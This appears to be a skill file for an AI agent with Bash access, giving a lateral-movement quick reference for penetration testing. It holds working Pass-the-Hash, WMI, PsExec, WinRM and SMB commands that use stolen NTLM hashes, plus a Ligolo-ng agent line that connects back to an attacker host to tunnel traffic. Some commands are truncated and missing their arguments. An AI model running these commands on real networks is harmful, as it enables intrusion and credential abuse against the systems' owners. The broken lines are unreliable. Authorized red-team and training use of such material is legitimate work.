lateral-movement

name	lateral-movement
description	Network lateral movement — Pass-the-Hash, Pass-the-Ticket, WMI/WinRM/PsExec/RDP execution, SMB operations, network tunneling with Ligolo-ng and Chisel.
allowed-tools	Bash Read Write
metadata	{"subdomain":"lateral-movement","when_to_use":"lateral movement, pass the hash, pass the ticket, WMI exec, evil-winrm, psexec, pivot, tunnel, Ligolo, Chisel, smbexec","tags":"lateral, pth, ptt, wmi, winrm, psexec, rdp, smb, pivot, tunnel, ligolo, chisel","mitre_attack":"T1021.002, T1021.006, T1021.001, T1550.002, T1550.003, T1572"}

Lateral Movement Knowledge Base

Lateral movement uses captured credentials and network access to move between hosts in a compromised environment. Each technique has a different noise profile, artifact footprint, and prerequisite. Choose based on available credentials, target services, and OPSEC requirements.

Quick Reference

# Pass-the-Hash — command exec via SMB (CrackMapExec/NetExec)
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'

# WMI execution — semi-interactive shell
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# PsExec — SYSTEM shell via service creation
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Evil-WinRM — PowerShell remoting with hash
evil-winrm -i <TARGET> -u  -H 


smbclient.py  -hashes :<NTLM_HASH>


./proxy -selfcert -laddr 0.0.0.0:11601          
./agent -connect <ATTACKER_IP>:11601 -ignore-cert